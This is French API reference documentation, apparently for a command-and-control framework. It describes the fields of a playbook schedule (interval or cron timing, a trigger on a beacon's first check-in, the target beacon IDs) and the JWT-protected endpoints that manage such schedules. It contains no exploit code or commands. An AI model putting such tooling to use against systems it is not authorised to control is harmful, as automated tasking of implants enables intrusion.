Une planification de playbook est stockée dans la table c2_playbook_schedules et renvoyée au format JSON depuis tous les points de terminaison de planification.

Champ Type Description
id chaîne (UUID) Identifiant unique de la planification
playbook_id chaîne (UUID) Playbook parent
schedule_type chaîne "once", "interval", "daily", ou "weekly"
cron_expression chaîne ou null Expression cron pour les planifications quotidiennes/hebdomadaires
interval_seconds entier ou null Intervalle en secondes pour les planifications par intervalle
trigger_type chaîne "scheduled" (par défaut) ou "on_beacon_initial"
next_run_at chaîne (ISO 8601) Prochaine heure d'exécution planifiée
last_run_at chaîne (ISO 8601) ou null Horodatage de la dernière exécution
enabled booléen Si la planification est active
beacon_ids chaîne[] UUID des beacons cibles pour l'exécution planifiée
created_at chaîne (ISO 8601) Horodatage de création
updated_at chaîne (ISO 8601) Horodatage de la dernière mise à jour

Référence API des planifications

Tous les points de terminaison de planification sont imbriqués sous un playbook et nécessitent une authentification JWT.

Chemin de base : /api/v1/cockpit/playbooks/:id/schedules

Méthode Point de terminaison Description
POST /api/v1/cockpit/playbooks/:id/schedules Créer une planification pour un playbook
GET /api/v1/cockpit/playbooks/:id/schedules Lister toutes les planifications d'un playbook
PUT /api/v1/cockpit/playbooks/:id/schedules/:scheduleId Mettre à jour une planification
DELETE /api/v1/cockpit/playbooks/:id/schedules/:scheduleId Supprimer une planification